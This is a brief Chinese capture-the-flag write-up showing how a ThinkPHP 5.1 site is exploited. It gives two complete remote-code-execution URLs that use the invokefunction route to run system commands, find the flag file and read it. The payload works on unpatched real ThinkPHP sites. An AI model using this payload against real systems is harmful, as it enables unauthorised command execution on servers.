1.根据主页提示，可以发现网页使用的是ThinkPHP框架，版本为5.1
2.此版本存在getshell漏洞（百度一下poc一抓一大把）
3.查找flag
http://192.168.100.161:54064/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find%20/%20-name%20%22flag%22
http://111.198.29.45:59522/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag
